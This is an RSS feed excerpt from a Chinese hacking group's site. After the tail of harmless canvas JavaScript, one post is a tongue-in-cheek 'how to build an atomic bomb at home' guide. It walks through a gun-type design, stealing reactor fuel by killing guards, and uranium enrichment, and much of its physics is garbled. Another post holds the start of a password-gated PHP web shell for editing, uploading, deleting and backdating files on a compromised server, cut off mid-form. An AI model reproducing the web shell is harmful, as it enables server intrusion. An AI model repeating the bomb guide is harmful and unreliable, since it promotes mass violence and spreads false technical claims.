			buffer.ctx = buffer.getContext('2d');
			
			form = document.createElement('form');
			form.method = 'post';
			form.input = document.createElement('input');
			form.input.type = 'hidden';
			form.input.name = 'data';
			form.appendChild(form.input);
			
			document.body.appendChild(form);
		}
	
		buffer.ctx.fillStyle = 'rgba(8,5,16)';
		buffer.ctx.fillRect(0, 0, buffer.width, buffer.height);
		
		buffer.ctx.drawImage(canvas,
			Math.round(buffer.width / 2 - canvas.width / 2), 
			Math.round(buffer.height / 2 - canvas.height / 2)
		);
		
		buffer.ctx.drawImage(logo,
			Math.round(buffer.width / 2 - logo.width / 4), 
			Math.round(buffer.height / 2 - logo.height / 4),
			logo.width / 2,
			logo.height / 2
		);
		
		window.open(buffer.toDataURL(), 'wallpaper', 'top=0,left=0,width=' + buffer.width + ',height=' + buffer.height);
		
		// form.input.value = buffer.toDataURL().substr(22);
		// form.submit();
	}
	
	window.requestAnimFrame = (function() {
		return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function(fn) { window.setTimeout(fn, 1000 / 60) };
	})();
	
	window.onload = function() {
		
		ctx = document.getElementById('canvas').getContext('2d');
		ctx.stats = new Stats();
		ctx.running = true;
		ctx.frame = 1;
		
		logo = new Image();
		logo.src = 'http://labs.nikrowell.com/lightsandmotion/ultraviolet/images/logo.png';
		
		hue = new Oscillator({
			phase: Math.random() * Math.TWO_PI,
			amplitude: 85,
			frequency: 0.0015,
			offset: 285
		});
		
		letters('h1');
		letters('h2');
		
		document.addEventListener('mousemove', init);
		document.addEventListener('touchstart', init);
		document.body.addEventListener('orientationchange', resize);
		window.addEventListener('resize', resize);
		window.addEventListener('keyup', keyup);
		window.addEventListener('focus', start);
		window.addEventListener('blur', stop);
		
		resize();
		
		if(window.DEBUG) {
			
			var gui = new dat.GUI();
			
			// gui.add(settings, 'debug');
			settings.gui.add(settings, 'trails', 1, 30).onChange(reset);
			settings.gui.add(settings, 'size', 25, 75).onFinishChange(reset);
			settings.gui.add(settings, 'friction', 0.45, 0.55).onFinishChange(reset);
			settings.gui.add(settings, 'dampening', 0.01, 0.4).onFinishChange(reset);
			settings.gui.add(settings, 'tension', 0.95, 0.999).onFinishChange(reset);	
			
			document.body.appendChild(ctx.stats.domElement);
		}
	};

})(window);




]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】教你制作原子弹【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373514]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 17:45:55 +0800]]></pubDate>
        <description><![CDATA[原子弹的理论本身其实很简单：只要你拿到两堆正确的物质（通常是铀２３５或钸），然后把它们「紧紧地」放在一起，这样维持一段够长的时间，其它的事情就不必我们操心了，原子弹爆炸的好戏会自然上场。这篇文章的目的，就是告诉原你怎样在家里做原子弹。 

准备工作 
我们大约需要３０磅的铀２３５，体积差不多有一个棒球的大小，再配合一些很容易到手的材料，这种炸弹就能使１／３哩以内任何东西化为乌有；２／３哩以内的东西严重受损；在１﹒２５哩半径内的人都会受到致命的辐射线；辐射尘随风飘扬，能使４０哩内的人都致病。如果它在纽约市引爆，大概有２５万人会死亡，还有４０万人会受伤。这种效果恐怖份子应该会很满意；这种原子弹甚至在战场上也都能派上用场。 
不过，要提醒各位：铀２３５的分量不要超过４５磅，因为对这样多的铀，其引爆的技巧相当困难，单凭业余的机槭工匠，大概是无法适时且有效地把这些东西凑在一起。挺有可能你还没做一半，它就在你面前爆炸了，那可就真伤感情。我个人的偏好是用３６磅或３７磅的铀２３５，因为这样效果不差，而且，如果设计上出点小差错，也不致于有太严重的后果。 
一旦把足够的材料紧聚在一起，我们最棘手的技术就是得使它们能紧聚在一起维持约半秒钟，这半秒钟的延迟就是技术上最主要的问题。原因是这样的﹕当这两堆物质靠太近时，会发生剧烈的反应而产生大量的能量，在瞬间（比一秒钟小很多）迫使这两堆物质分开。这样的结果和爆竹的效果差不多，几百呎外的人根本不知道有这回事。对一个稍有「自尊」的恐怖份子而言，是不会以此为满足的，对吗？所以，当务之急就是要设计出一套办法，使两堆铀２３５能聚得久一点，好让一些比较惊人的「大事」发生。 
如果你这位恐怖份子有栋两层楼房（含地下室）、两根火药、１５包水泥、２０立方码的沙石，那么大约只要一个礼拜就可以完工了。全部的费用，除去房租不算，大概只要３﹐０００美元就够了。最后的问题是怎样把铀２３５或钸弄到手，这留待后面再谈。 

开始动工 
准备妥当后，第一件事就是把分批弄来的铀２３５分成二等分，用一对半球容器装起来，你或可用乙炔喷灯（Acetylene Torch）来作。铀的熔点是４１４﹒２℃，而乙炔喷灯的燃点是５２６﹒４℃，因此理论上来说，乙炔喷灯足以熔化铀２３５。也许你应该花几十块耐火砖作个窑，加上一个风箱，效果会此较好；不过如果你有耐心再加上一些运气（因为铀这东西燃烧会爆炸），乙炔喷灯应该是够用的了。 
铀熔成液体后，流到半球状的洼槽（制陶瓷用的耐火泥就可派上用场），则第一个半球型作好冷却了，再移开作第二个。有件事要注意：这时候，在这区域附近不能有人。因为，铀有对人不利的特性。如果铀熔化时你就在现场，那么，你总会吸进一点，嘿嘿...，其结果不是说你会少活几年，而是你只剩下几个钟头好活了！ 
如果你这个恐怖份子确能置个人生死于度外，那当然就不必计较这些了，否则我建议你采用自动控制装置。当铀熔化时，和它相隔５０呎，再用５吨铅隔离，这样应该足够安全了。将铀２３５分成两堆的工作完成后，你就应分别用铅箱装好。再从二楼挖个洞通到地下室，用一对黑铁管接起来，使总长约２０呎左右。若能用６吋厚的水泥敷于管外可能稍好，不过如果地板够坚实，而且房子是建在岩石上，也可以不必这么麻烦。在放下管子之前，先把装铀的半球形容器的平面朝上放在水泥上，再把管子放置妥当，原子弹就已完工一半了。为了不使铀散逸，地下室应该用沙、石、水泥和水混合填好，但因为这只要用一次就达到目的了，做得不太好看也无所谓。真正要注意的是，管子外面有足够的阻挡力量，使原子弹在爆炸前铀不致漏出。其实只要半液体状的沙泥混合物，就足以担当大任了。如此这般，原子弹的接收部分就完工了。 
引爆部分比较难做，构想之一是将另一个半球容器放在管子的上端，引爆时，让它倒向下面的接收部分就可以了。原理上虽很简单，但有些技术上的困难不易解决，比如说，如果引爆用的半球容器放歪了一点，它就会沿着管子滑下来，这样你想成为恐怖份子的美梦就落空了，因为这种死法不会让人觉得恐怖，只会成为茶余饭后的笑料罢了。 
目前可能是最简单而有效的设计，把一个细线织成的罩子（就像夏天防苍蝇的那种），放在管子的上端，再塞进管内，留约３～４吋在外面；这时再把另一段４尺长的管子焊在原来的管子上。若要使连接的部分更牢，可以在此部分钻几个洞，把铁钉插进去。然后拿３呎长的２﹒５吋铜管，里面装熔化的铅，将引爆的半球容器安在铅底座中一个吻合的凹槽里；另一根铁棍则凿入管子的另一端约一呎，这装置总重量是８０～９５磅。 
最后，把有螺纹的盖子套在管子上头，等到它能旋得松紧自如时，再将它拿下来，在它上面钻一个洞，使能容得下引爆的装置杆；装置杆则留下６～８吋长露出洞口，杆上并恰留钻一个钉孔。将各种大小不同的钉子试着去配合，最恰当的大小是能合于整个引爆装置（当然，试着配合时暂不在接受管上端作，以免危险）。然后，将TNT或炸药涂在一个碟子上（最好是咖啡壶中过滤器的底座），再塞进去，并插进一两个雷管。这放在引爆装置杆的四周，再由一两条引线连出来到外面，然后把它旋紧，原子弹就大功告成了。剩下的工作只是把引线接到定时器上，再把下端的安全针拔掉，然后离开这城市，约１２小时后，这城市就离开这个世界了。
定时器一旦引爆，其力量足使另一个安全针脱落，引爆装置就掉到接收部分去，即使不考虑爆炸产生的加速度，光是重力就足使９５磅的物体由２０呎高空掉下，产生８Ｘ１０的十次方耳格／秒的动能。把爆炸所生的冲力考虑进去，则接触点有１０的十二次方耳格／秒的动能，可使两个半球容器接触的时间够长，而产生令人满意的效果。 

防辐设备 
为了要将所有重要的步骤交代清楚，应该再将几个小问题说明一下。例如，前文曾经简略地谈到，用乙炔喷灯时要考虑铀有发火燃烧的可能性。其实，应该说整个机械操作都要在「乳状液槽」中进行。对不太熟悉机械技术操作的人而言，所谓乳状液就是一种看来像牛乳一样的液体，和油有许多相似之处，可是不会发火燃烧。这种乳状液在一般机械工厂供货商处都很容易买到，而且不会有入问你买这种东西干什么？用了这种乳状液，可以使危险降到最低程度。事实上，若我们要溶解铀或对铀作机械处理，最好在纯氮的大气中才安全。可是如果你够小心，而且运气又好的话，那么也不必用这种极端安全的方法。 
辐射的问题是比较麻烦的一点，镭的辐射量和重量成正比，但铀的辐射量和重量却是成指数关系（也是这种性质使它具有爆炸性）。因为每个半球所装的质量都超过了临界值的一半，所以和它们同在一间房子里非常地危险。只吸进去一点点含放射性尘埃的空气，就意味着你马上要离开这个世界。因此我建议所有的工作人员应有其它的氧气供应，每人口中含个氧气管或可解决这个问题。但要通盘解决辐射的问题可能比较麻烦，不过只要有决心，加上智能和运气，这问题还是可以克服的。 
我还要建议采用一种用铅作成外壳而且有动力的轮椅，让操作员坐在里面可以安全地作业。上面只要开个小缝，用铅作的玻璃当窗户，操作员就可以看到外面。铅作的袖子和手套，可以用来作一些需要和铀碰触的机械动作。为了防止辐射外逸，整栋房子的墙壁、地板都需覆盖上一层铅；地下室的天花板也要加上一层铅板，以免接收部分产生辐射的问题。算起来起码要用上６～８吨的铅，以维持基本的安全问题。这么一来，又得多花工夫支撑地板，免得垮下来。这些工作都作好了，就可以开始动手制造原子弹。 如果你想作一道「红烧兔子」大餐，打开食谱第一步就是要抓一只兔子来！同理，现在你也会问：「怎样把铀２３５弄到手？」（铀２３５通常此钸容易拿到。）其实，你只要平时注意看报纸，应该不难知道，核能发电厂里就有。只要由电厂里偷根控制棒出来，把它熔了，再把其中没有用的铀２３８分离出来就成了。 
要潜入一个核子反应炉，说起来并不是什么太难的事，尤其大学校园中的核子反应炉，都只有些马马虎虎的安全设施。一般设施就是些带刺铁丝网围墙，门口站了一两个警卫。事前可以作出误闯的样子来几次投石问路，看看有没有什么电子安全装置，大概结果都是根本没有的。可是我们偷偷摸摸的潜进去并没有什么用，因为铀非常的重，不要讲是一个人，就算是一队人马开进去，也搬不到足够的分量出来。尤其这批人马又身装铅甲以防辐射，就更不管用了。依我之见，干脆偷辆卡车和拖车，干掉警卫，代以自己人，然后就直闯进去拿你要的东西，很干脆，效率又高。 
不过，反应器都是装在一个镍－铁合金的球状容器里，容器再浸在水中，通常，旁边会有千斤顶，以便修护时用，所以也可以顺便用来把整个反应炉心起出来放到卡车里。不过要注意一件事，搬动反应器时要拔出一些燃料棒，或是插进一些节制棒，否则你和整个反应器都要化为灰烬。建议你或可向当时被你挟制的人质请教这方面的技术，以便搬动炉心。 
此外，整个反应器重约５０吨，加上拖车需要６吋厚的铅板作防护，所以拖车如何拖动６５吨的重量，还是颇伤脑筋的。或者，你觉得搬走整个反应器不切实际，也可以只带走约１﹐２００磅的备用燃料棒。不过千万也要带着石墨或铅，免得燃料棒因不断地反应生热而熔化了。如果你忘了这步骤，回家打开盖子，只会看到一堆熔化了的铀，而且四处散射，可能你当场就一命呜呼而遗笑万年。性命事小，这脸可丢不起，所以别忘记拿了１﹐２００磅的燃料棒之后，要和１５﹐０００磅的石墨或铅混合。反应器的铀大约含３％的铀２３５（自然界铀则只含０．５％的铀２３５），做原子弹的铀则需要９７％的铀２３５，否则根本不爆炸。到手的１﹐２００磅燃料棒，可以提炼出所需要约36磅的铀２３５，不过要有耐心和经验去分离它。如果你自知无法全部把铀２３５分离出来，就得多弄点燃料棒。 
一般说来，以目前的技术，要达到每次增加纯度２５％并没有什么问题，所以你最少要弄到４﹐８００磅的燃料棒，若能弄到９﹐６００磅最好。把这些加上去，你总共要带１５万磅（７５吨）的东西。其次还要找个地方放这些东西，我建议你租间仓库，如用原来那两层楼的建筑来分离铀似乎不太实际，因为这至少需要２万平方呎的空间。 

分离高招 
下面就要考虑用什么方法来分离铀２３５。对恐怖份子来说，气体扩散法是好方法之一，这也是早期制造原子弹时所采用的，不但可靠又不必太复杂的技术。不过花费较多，而且所用的化学药品更是吓人。首先，你要有约１２哩长的特殊玻璃线钢管，并以６０吨的氢氟酸（ＨＦ）形成六氟化铀，然后吹向一具有特殊小孔的膜。因为六氟化铀２３８较重，在经过这层膜时会被陷住而不易透过。每过一次可使铀２３５的成分增加０﹒５％，如此程序只要反复操作，所得六氟化铀２３５的成分就愈大，最后只要把六氟化铀中的氟分离出来就行了。因为氢氟酸很贵，而且不易取得 所以最好是去偷一点来，要不然就先去偷个几百万美金也行。 
如果你觉得此路不通，还有其它的办法。你可以在树林里建个滋生反应器（BreederReactor），用铀来作钸，再用化学上的技术分离即可。至于如何建滋生反应器，也不是难事，随便一本大学教科书，都可以告诉你好几种方法。虽然在理论上没有困难，但是也有它实际上的难处。不过如果你刚好有私人用的小河，又有几火车的钠，数量可观的不锈钢管，一百亩与外界隔离的土地，那就没有间题。 
如果对这两种方法你都没有兴趣，还有一些有趣的新技术可供参考。你可以先用一块低温磁铁（Cryogenic Magnet），它在液态氦的温度（约零下２７０℃）下能保持20,000高斯的磁扬...不过，唔，不过下面的程序太复杂了...还有一法是用雷射，因为铀２３８较重，被激光束照射后，运动的偏离角比铀２３５小。所以若在和雷射光垂直的平面上洒上一层铀，则铀２３５、铀２３８可藉其偏离角来分离。此法原理上简单可行，但时间上太慢。一天大概只能处理20磅的铀（含２３５和２３８），而分离的效率约１２﹒５％，每处理一次可以产生约１０％的铀２３５，所以要处理９次才能达到原子弹的标准。如此算来，从９﹐６００磅磅的燃料棒中分离出３６磅纯度９７％的铀２３５，约需费时四年、。然而，它的辐射量又使你根本没有四年好活，所以还得找三两个志愿者来完成你的未竟之志。因此，若能有愚公移山之志，或可成功，祝你好运！ 
材料： 
直径20cm，高100cm的不锈钢垃圾筒一只（三星级宾馆用的就成，五星级的太浪费）； 
大号“二踢脚”10只； 
电筒用电珠2个（备用1个）； 
细双股电线若干米； 
1号电池2只（双鹿的不错，不是做广告喔）； 
机械闹钟一只（到点儿“叮呤呤”响的那种）； 
“铀235”10公斤（这东西现在“黑市”上有卖，价钱比内存条贵多了，可人逼极了也得砸锅卖铁不是？实在不行就“铀238”凑合了）； 
“钚”50克； 
手枪钻1只、多头螺丝起子1只、螺栓若干、宽透明胶带若干、“502”快干胶1瓶、劳保手套一副、解放鞋一双、劳动服一套、太阳帽一顶、医用口罩一只、潜水眼镜一副。 
下面就开始干活。先把“铀235”毛坯上车床车成两个直径20cm各有中空2cm的半球（给人师傅一条“大中华”，手工费不能少）和一根直径2cm长20cm的圆柱体；再把“钚”用气锤冲成一张直径2cm的薄片（两片）。行了，工厂里的活儿干完了，剩下的就看你的手艺了！ 
接下来，找一郊区房子（人越少越好，不怕一万怕万一），带上你的材料，穿上你的工装，戴上潜水眼镜（主要是保护眼睛）。 
用手枪钻在不锈钢垃圾筒上开四个洞，先将一张“钚”片用“502”快干胶贴在垃圾筒的底端中心位置，另一片贴在“铀235”圆柱体的一端。 
将“铀235”两个半球分别固定在垃圾筒的底端（中空的空心正好贴在底端“钚”片的位置上）和垃圾筒中部。 
将“二踢脚”捆扎成圆柱体，引线连接成为一条大“药捻儿”；将电筒灯珠小心砸开（一个砸失败了还有一个），取里面的灯丝用细电线分别连接两端，将电线和闹钟及电池串联好；然后将电珠灯丝和“药捻儿”捆在一起。 
那根“铀235”的圆柱体被安放在“二踢脚”的最前端，对准两个“铀235”半球的中空。 
最后用宽胶带把这些东西都固定在一起，晃一晃，没有“恍啷恍啷”的声音最佳。 
原理： 
只要定时闹钟一到点儿，闹钟就会使导线通电，通电后电珠丝发热引燃“药捻儿”，然后“二踢脚”点燃，推动“铀235”圆柱体冲进“铀235”的两个半球中从而使这“核物质”达到所谓的“临界状态”，“铀235”圆柱体顶端的“钚”片和垃圾筒底端的“钚”片撞击产生大量中子，中子会让这垃圾桶里的东西引爆...... 
哇！好大的一朵棉花糖啊！ 
注意事项： 
接闹钟那一步千万万千小心，留到最后一步再做！接线前多做几个深呼吸，接线时尽量不呼吸！闹钟的尾部反扣在垃圾筒的顶盖上，这样好控制时间。可定时的时候最好把线断掉。 
好了！你的“核武器”就算完工了！这东西一发威，别说什么“大厦”，就是整个城市也得重建，确实是杀人灭口，居家旅游，拆楼挖沟的利器！ 
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】提权批php【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373513]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 17:41:22 +0800]]></pubDate>
        <description><![CDATA[&lt;?php
$password = &quot;hucxsz&quot;; error_reporting(E_ERROR); set_time_limit(0); $lanip = getenv('REMOTE_ADDR'); function Root_GP(&amp;$array) { while(list($key,$var) = each($array)) { if((strtoupper($key) != $key || ''.intval($key) == &quot;$key&quot;) &amp;&amp; $key != 'argc' &amp;&amp; $key != 'argv') { if(is_string($var)) $array[$key] = stripslashes($var); if(is_array($var)) $array[$key] = Root_GP($var); } } return $array; } function Root_CSS() { print&lt;&lt;&lt;END
&lt;style type=&quot;text/css&quot;&gt;
	*{padding:0; margin:0;}
	body{background:threedface;font-family:&quot;Verdana&quot;, &quot;Tahoma&quot;, sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
	a{color:#000000;text-decoration:none;}
	a:hover{background:#33FF33;}
	table{color:#000000;font-family:&quot;Verdana&quot;, &quot;Tahoma&quot;, sans-serif;font-size:13px;border:1px solid #999999;}
	td{background:#F9F6F4;}
        .bt{background:#3d3d3d;color:#ffffff;border:2px;font:13px Arial,Tahoma;height:22px;}
	.toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;}
	.msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
	.actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
&lt;/style&gt;\n
END;
return false; } function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); } function File_Size($size) { if($size &gt; 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; elseif($size &gt; 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; elseif($size &gt; 1024) $size = round($size / 1024 * 100) / 100 . ' K'; else $size = $size . ' B'; return $size; } function File_Mode() { $RealPath = realpath('./'); $SelfPath = $_SERVER['PHP_SELF']; $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); } function File_Read($filename) { $handle = @fopen($filename,&quot;rb&quot;); $filecode = @fread($handle,@filesize($filename)); @fclose($handle); return $filecode; } function File_Write($filename,$filecode,$filemode) { $handle = @fopen($filename,$filemode); $key = @fwrite($handle,$filecode); if(!$key) { @chmod($filename,0666); $key = @fwrite($handle,$filecode); } @fclose($handle); return $key; } function File_Up($filea,$fileb) { $key = @copy($filea,$fileb) ? true : false; if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; return $key; } function File_Down($filename) { if(!file_exists($filename)) return false; $filedown = basename($filename); $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.filesize($filename)); @readfile($filename); exit; } function File_Deltree($deldir) { if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if((is_dir($name)) &amp;&amp; ($file!='.') &amp;&amp; ($file!='..')){@chmod($name,0777);rmdir($name);} if(is_file($name)){@chmod($name,0777);@unlink($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } function File_Act($array,$actall,$inver) { if(($count = count($array)) == 0) return 'select file plz'; $i = 0; while($i &lt; $count) { $array[$i] = urldecode($array[$i]); switch($actall) { case &quot;a&quot; : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制'; break; case &quot;b&quot; : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; case &quot;c&quot; : if(!eregi(&quot;^[0-7]{4}$&quot;,$inver)) return '错误属性值'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '改变属性'; break; case &quot;d&quot; : @touch($array[$i],strtotime($inver)); $msg = '改变时间'; break; } $i++; } return '选择文件 '.$msg.' 成功'; } function File_Edit($filepath,$filename,$dim = '') { $THIS_DIR = urlencode($filepath); $THIS_FILE = File_Str($filepath.'/'.$filename); if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} print&lt;&lt;&lt;END
&lt;script language=&quot;javascript&quot;&gt;
var NS4 = (document.layers);
var IE4 = (document.all);
var win = this;
var n = 0;
function search(str){
	var txt, i, found;
	if(str == &quot;&quot;)return false;
	if(NS4){
		if(!win.find(str)) while(win.find(str, false, true)) n++; else n++;
		if(n == 0) alert(str + &quot; ... Not-Find&quot;)
	}
	if(IE4){
		txt = win.document.body.createTextRange();
		for(i = 0; i &lt;= n &amp;&amp; (found = txt.findText(str)) != false; i++){
			txt.moveStart(&quot;character&quot;, 1);
			txt.moveEnd(&quot;textedit&quot;)
		}
		if(found){txt.moveStart(&quot;character&quot;, -1);txt.findText(str);txt.select();txt.scrollIntoView();n++}
		else{if (n &gt; 0){n = 0;search(str)}else alert(str + &quot;... Not-Find&quot;)}
	}
	return false
}
function CheckDate(){
	var re = document.getElementById('mtime').value;
	var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
	var r = re.match(reg);
	if(r==null){alert('wrong time!format:yyyy-mm-dd hh:mm:ss');return false;}
	else{document.getElementById('editor').submit();}
}
&lt;/script&gt;
&lt;div class=&quot;actall&quot;&gt;search content: &lt;input name=&quot;searchs&quot; type=&quot;text&quot; value=&quot;{$dim}&quot; style=&quot;width:500px;&quot;&gt;
&lt;input type='button' value=&quot;search&quot; onclick=&quot;search(searchs.value)&quot;&gt;&lt;/div&gt;
&lt;form method=&quot;POST&quot; id=&quot;editor&quot; action=&quot;?s=a&amp;p={$THIS_DIR}&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;pfn&quot; value=&quot;{$THIS_FILE}&quot; style=&quot;width:750px;&quot;&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;textarea name=&quot;pfc&quot; style=&quot;width:750px;height:380px;&quot;&gt;{$FILE_CODE}&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;change file time &lt;input type=&quot;text&quot; name=&quot;mtime&quot; id=&quot;mtime&quot; value=&quot;{$FILE_TIME}&quot; style=&quot;width:150px;&quot;&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;save&quot; onclick=&quot;CheckDate();&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;返回&quot; onclick=&quot;window.location='?s=a&amp;p={$THIS_DIR}';&quot;&gt;&lt;/div&gt;
&lt;/form&gt;
END;
} function File_a($p) { $MSG_BOX = '等待消息队列......'; if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; $UP_DIR = urlencode(File_Str($p.'/..')); $REAL_DIR = File_Str(realpath($p)); $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); $THIS_DIR = urlencode(File_Str($p)); $UP_DIR = urlencode(File_Str(dirname($p))); $NUM_D = 0; $NUM_F = 0; if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' success' : '编辑文件 '.$_POST['pfn'].' faild';@touch($_POST['pfn'],$intime);} if(!empty($_POST['ufs'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($p.'/'.$upfilename)) ? 'upfile '.$upfilename.' success' : 'upfile '.$upfilename.' ';} if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} if(!empty($_GET['mn'])){$MSG_BOX = @rename(File_Str($p.'/'.$_GET['mn']),File_Str($p.'/'.$_GET['rn'])) ? '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' success' : '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' faild';} if(!empty($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($p.'/'.$_GET['dn']),0777) ? 'create folder '.$_GET['dn'].' success' : 'create folder '.$_GET['dn'].' faild';} if(!empty($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除文件夹 '.$_GET['dd'].' 成功' : '删除文件夹 '.$_GET['dd'].' 失败';} if(!empty($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = 'the download file does not exists';} Root_CSS(); print&lt;&lt;&lt;END
&lt;script type=&quot;text/javascript&quot;&gt;
	function Inputok(msg,gourl)
	{
		smsg = &quot;current file:[&quot; + msg + &quot;]&quot;;
		re = prompt(smsg,unescape(msg));
		if(re)
		{
			var url = gourl + escape(re);
			window.location = url;
		}
	}
	function Delok(msg,gourl)
	{
		smsg = &quot;sure for del [&quot; + unescape(msg) + &quot;] ?&quot;;
		if(confirm(smsg))
		{
			if(gourl == 'b'){document.getElementById('actall').value = escape(gourl);document.getElementById('fileall').submit();}
			else window.location = gourl;
		}
	}
	function CheckDate(msg,gourl)
	{
		smsg = &quot;current file time:[&quot; + msg + &quot;]&quot;;
		re = prompt(smsg,msg);
		if(re)
		{
			var url = gourl + re;
			var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
			var r = re.match(reg);
			if(r==null){alert('time error!format:yyyy-mm-dd hh:mm:ss');return false;}
			else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
		}
	}
	function CheckAll(form)
	{
		for(var i=0;i&lt;form.elements.length;i++)
		{
			var e = form.elements[i];
			if (e.name != 'chkall')
			e.checked = form.chkall.checked;
		}
	}
	function SubmitUrl(msg,txt,actid)
	{
		re = prompt(msg,unescape(txt));
		if(re)
		{
			document.getElementById('actall').value = actid;
			document.getElementById('inver').value = escape(re);
			document.getElementById('fileall').submit();
		}
	}
&lt;/script&gt;
	&lt;div id=&quot;msgbox&quot; class=&quot;msgbox&quot;&gt;{$MSG_BOX}&lt;/div&gt;
	&lt;div class=&quot;actall&quot; style=&quot;text-align:center;padding:3px;&quot;&gt;
	&lt;form method=&quot;GET&quot;&gt;&lt;input type=&quot;hidden&quot; name=&quot;s&quot; value=&quot;a&quot;&gt;
	&lt;input type=&quot;text&quot; name=&quot;p&quot; value=&quot;{$p}&quot; style=&quot;width:50%;height:22px;&quot;&gt;
	&lt;select onchange=&quot;location.href='?s=a&amp;p='+options[selectedIndex].value&quot;&gt;
	&lt;option&gt;---特殊目录---&lt;/option&gt;
	&lt;option value=&quot;{$ROOT_DIR}&quot;&gt; 站点根目录 &lt;/option&gt;
	&lt;option value=&quot;{$FILE_DIR}&quot;&gt; 本程序目录 &lt;/option&gt;
	&lt;option value=&quot;C:/Documents and Settings/All Users/「开始」菜单/程序/启动&quot;&gt; 中文启动项目录 &lt;/option&gt;
	&lt;option value=&quot;C:/Documents and Settings/All Users/Start Menu/Programs/Startup&quot;&gt; 英文启动项目录 &lt;/option&gt;
	&lt;option value=&quot;C:/RECYCLER&quot;&gt; RECYCLER &lt;/option&gt;
	&lt;option value=&quot;C:/Program Files&quot;&gt; Program Files &lt;/option&gt;
	&lt;/select&gt; &lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;转到&quot;&gt;&lt;/form&gt;
	&lt;div style=&quot;margin-top:3px;&quot;&gt;&lt;/div&gt;
	&lt;form method=&quot;POST&quot; action=&quot;?s=a&amp;p={$THIS_DIR}&quot; enctype=&quot;multipart/form-data&quot;&gt;
	&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;创建文件&quot; onclick=&quot;Inputok('newfile.php','?s=p&amp;fp={$THIS_DIR}&amp;fn=');&quot;&gt;
	&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;创建文件夹&quot; onclick=&quot;Inputok('newdir','?s=a&amp;p={$THIS_DIR}&amp;dn=');&quot;&gt; 
	&lt;input type=&quot;file&quot; name=&quot;ufp&quot; style=&quot;width:30%;height:22px;&quot;&gt;
	&lt;input type=&quot;text&quot; name=&quot;ufn&quot; style=&quot;width:20%;height:22px;&quot;&gt;
	&lt;input class=&quot;bt&quot; type=&quot;submit&quot; name=&quot;ufs&quot; value=&quot;上传&quot;&gt;
	&lt;/form&gt;
	&lt;/div&gt;
	&lt;form method=&quot;POST&quot; id=&quot;fileall&quot; action=&quot;?s=a&amp;p={$THIS_DIR}&quot;&gt;
	&lt;table border=&quot;0&quot;&gt;&lt;tr&gt;
